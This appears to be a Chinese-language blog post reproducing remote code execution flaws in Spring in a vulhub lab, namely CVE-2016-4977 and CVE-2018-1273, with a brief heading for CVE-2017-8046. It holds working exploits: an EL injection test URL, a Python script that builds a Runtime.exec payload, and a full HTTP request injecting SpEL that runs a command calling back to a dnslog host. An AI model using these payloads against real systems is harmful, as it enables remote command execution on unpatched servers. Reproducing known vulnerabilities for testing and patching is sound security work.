1.Spring Security OAuth2.0 (CVE-2016-4977)

这个洞是由于Spring Security OAuth2.0的功能,在登录成功之后由于response_type不存在显示在Whitelabel Error Page上存在EL表达式注入漏洞

测试地址:http://127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

基本上使用了Spring Security OAuth2.0 默认路径就是这个了

难受之处在于必须登录成功,不然直接就认证失败了。

再看下执行命令 "ping 0hb8tu.dnslog.cn"

生成poc的脚本:
#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

使用方法:

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

依然是使用vulhub复现:
POST /users?page=&size=5 HTTP/1.1
Host: xx.xx.xx.xx:8080
Content-Length: 54
Cache-Control: max-age=0
Origin: http://10.154.110.127:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.154.110.127:8080/users
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping j603y6.dnslog.cn")]=jinqi&password=123456&repeatedPassword=123456

利用难度较低

Spring Data Rest 远程命令执行 CVE-2017-8046

PATCH方法

最新文章

  1. C#如何利用QQ邮箱SMTP发送邮件
  2. 修改Linux可显示的行数
  3. 全信号高清DVI编码器|上海视涛科技
  4. iOS菜单滚动联动内容区域功能实现
  5. PHP中CURL方法curl_setopt()函数的一些参数 (转)
  6. Html笔记(三)列表
  7. 本地开发时同时启动多个tomcat服务器
  8. 射频识别技术漫谈(13)——Mifare S50与Mifare S70
  9. NullSafe 的原理
  10. javaEE与JSP基础
  11. Docker改名为Moby了吗?
  12. MarkDown里面的Emoji表情
  13. 洗礼灵魂,修炼python(69)--爬虫篇—番外篇之feedparser模块
  14. pysphere VMware控制模块的一些函数的说明
  15. lsof详解
  16. grid - 初识
  17. P2064进制转换
  18. 在前台页面写java代码,导入java的包
  19. k近邻算法(KNN)
  20. 为什么Github要把代码合并请求称为pull request而不是push request?

热门文章

  1. openresty开发系列38--通过Lua+Redis 实现动态封禁IP
  2. IfcWallStandardCase 构件吊装模拟
  3. HTTP协议复习
  4. 【449】backup get weekly tweets
  5. LeetCode_414. Third Maximum Number
  6. LeetCode_405. Convert a Number to Hexadecimal
  7. Android 调试桥介绍 (adb)
  8. [LeetCode] 765. Couples Holding Hands 情侣牵手
  9. python:对list去重
  10. 玩转CONSUL(3)–大规模部署的性能开销定量分析